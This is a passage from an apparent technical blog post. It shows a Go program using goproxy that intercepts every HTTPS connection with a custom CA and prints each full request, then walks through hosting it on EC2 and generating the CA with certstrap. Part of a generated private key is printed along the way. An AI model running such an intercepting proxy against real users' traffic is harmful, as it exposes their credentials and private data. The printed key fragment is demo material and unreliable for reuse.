&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;HTTPMitmConnect &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x26;&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;ConnectAction&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;{&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Action&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ConnectHTTPMitm&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; TLSConfig&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;TLSConfigFromCA&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&amp;#x26;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;goproxyCa&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)}&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;RejectConnect &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x26;&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;ConnectAction&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;{&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Action&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ConnectReject&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; TLSConfig&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;TLSConfigFromCA&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&amp;#x26;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;goproxyCa&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)}&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; return&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; nil&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;func&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; main&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;()&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; verbose &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; flag&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Bool&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;v&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; false&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;should every proxy request be logged to stdout&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; addr &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; flag&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;String&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;addr&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;:443&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;proxy listen address&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; certPath &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; flag&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;String&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;cert&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;cert.crt&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Path to CA certificate&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; keyPath &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; flag&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;String&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;key.pem&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Path to CA key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; flag&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Parse&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; certData&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; ioutil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;ReadFile&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(*&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;certPath&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; if&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;!=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; nil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; log&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Fatalf&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Couldn't read certificate: %v\n&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; keyData&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; ioutil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;ReadFile&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(*&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;keyPath&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; if&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;!=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; nil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; log&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Fatalf&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Couldn't read key: %v\n&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; setCA&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;certData&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; keyData&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; proxy &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;NewProxyHttpServer&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; proxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;OnRequest&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;().&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;HandleConnect&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;AlwaysMitm&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; proxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Verbose &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; *&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;verbose&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; proxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;OnRequest&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;().&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;DoFunc&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;func&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;req &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;*&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;http&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;Request&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; ctx &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;*&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;ProxyCtx&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; (*&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;http&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;Request&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; *&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;http&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;Response&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; requestData&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; httputil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;DumpRequest&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;req&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; true&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; if&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;!=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; nil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; fmt&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Printf&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Failed to dump request: %v\n&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; fmt&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Println&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;requestData&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; return&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; req&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; nil&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; })&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; log&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Fatal&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;http&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;ListenAndServe&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(*&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;addr&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; proxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="deploying-the-proxy-server"&gt;Deploying The Proxy Server&lt;a class="heading-anchor" href="#deploying-the-proxy-server" aria-label="Link to Deploying The Proxy Server"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Infrastructure-wise, I&amp;rsquo;m just going to throw the proxy setup into an ec2 instance in AWS. I&amp;rsquo;ll point a domain (&lt;code&gt;0day.gg&lt;/code&gt;) at it, and assign a security group allowing port 443 inbound.
Our proxy will need a CA certificate to use. Let&amp;rsquo;s generate one real quick. There&amp;rsquo;s a utility called &lt;a href="https://github.com/square/certstrap" target="_blank" rel="noopener noreferrer"&gt;certstrap&lt;/a&gt; by Square that I like to use in place of the OpenSSL cli that simplifies the process of generating certificates, certificate signing requests, etc.&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;ubuntu@ip-172-31-23-174:~$ go version&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go version go1.13.5 linux/amd64&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;ubuntu@ip-172-31-23-174:~$ go install github.com/square/certstrap&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: finding github.com/square/certstrap v1.2.0&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: downloading github.com/square/certstrap v1.2.0&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: extracting github.com/square/certstrap v1.2.0&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: downloading github.com/urfave/cli v1.21.0&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: downloading github.com/howeyc/gopass v0.0.0-20170109162249-bf9dde6d0d2c&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: extracting github.com/urfave/cli v1.21.0&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: extracting github.com/howeyc/gopass v0.0.0-20170109162249-bf9dde6d0d2c&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: downloading golang.org/x/crypto v0.0.0-20181127143415-eb0de9b17e85&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: extracting golang.org/x/crypto v0.0.0-20181127143415-eb0de9b17e85&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: downloading golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: extracting golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: finding github.com/urfave/cli v1.21.0&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: finding github.com/howeyc/gopass v0.0.0-20170109162249-bf9dde6d0d2c&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: finding golang.org/x/crypto v0.0.0-20181127143415-eb0de9b17e85&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;go: finding golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;ubuntu@ip-172-31-23-174:~$ certstrap init --common-name "Acme Corp"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Enter passphrase (empty for no passphrase):&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Enter same passphrase again:&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Created out/Acme_Corp.key&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Created out/Acme_Corp.crt&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Created out/Acme_Corp.crl&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;ubuntu@ip-172-31-23-174:~$ head out/Acme_Corp.key out/Acme_Corp.crt&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;==&gt; out/Acme_Corp.key &amp;#x3C;==&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;-----BEGIN RSA PRIVATE KEY-----&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;MIIJJwIBAAKCAgEAtZdDShW/w7jlYKOaVA8PWg+ax94LVq86vXQj0YIT8DvlNLwr&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;9V0EWhLnPVCNAOPp077t+k8zlhybOfLaT8S9byzWGN8VH3IU79J6mzonvjIIyX14&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;uy5dZRL488bExVokg23DREoIJfMAtsPzGgs1xyhym8qZe70YSMrSUMS5RB8oSS8e&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;gId5M27mhmCCaDn2KN6FJD+LjJJZL/7lsbGHWlE9+HdcRQ1L//elvROeXm5MuAOm&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;aFU3GWKqkGhIGD09sDmJQoUc6v2ABWSVJ6nnhSrUPlHUvmnyJeSZHVZtTA5kV7sb&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;eCHTgUk1tE2GgdF9yLb6ddiENAitTlE5pxC9n+LmxiPZIr1f+8dqsjc9H7dReTsV&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;8hNlP7jOQ6ur3Nw1q0C9ktCrEwoN75GM7O6Ve+1vJXMWeld8pkyyOeKG+NP+ULRU&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;uLi20QR3COZXrjYKLEQIKM7oaOBIkTVwJni4xxKZw6h8GhuGD9mltV+DPMnr/DcW&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Ax5kCeAQy1ovK7qU0kbtF23bQ2LE++iQpDzKAu9TAWCaIy2ZlTxhBVgsAEQW4gto&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;==&gt; out/Acme_Corp.crt &amp;#x3C;==&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;-----BEGIN CERTIFICATE-----&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;MIIE6DCCAtCgAwIBAgIBATANBgkqhkiG9w0BAQsFADAUMRIwEAYDVQQDEwlBY21l&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;IENvcnAwHhcNMTkxMjE5MDQzNDU2WhcNMjEwNjE5MDQzNDUyWjAUMRIwEAYDVQQD&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;EwlBY21lIENvcnAwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC1l0NK&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Fb/DuOVgo5pUDw9aD5rH3gtWrzq9dCPRghPwO+U0vCv1XQRaEuc9UI0A4+nTvu36&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;TzOWHJs58tpPxL1vLNYY3xUfchTv0nqbOie+MgjJfXi7Ll1lEvjzxsTFWiSDbcNE&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Sggl8wC2w/MaCzXHKHKbypl7vRhIytJQxLlEHyhJLx6Ah3kzbuaGYIJoOfYo3oUk&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;P4uMklkv/uWxsYdaUT34d1xFDUv/96W9E55ebky4A6ZoVTcZYqqQaEgYPT2wOYlC&lt;/span&gt;&lt;/span&gt;
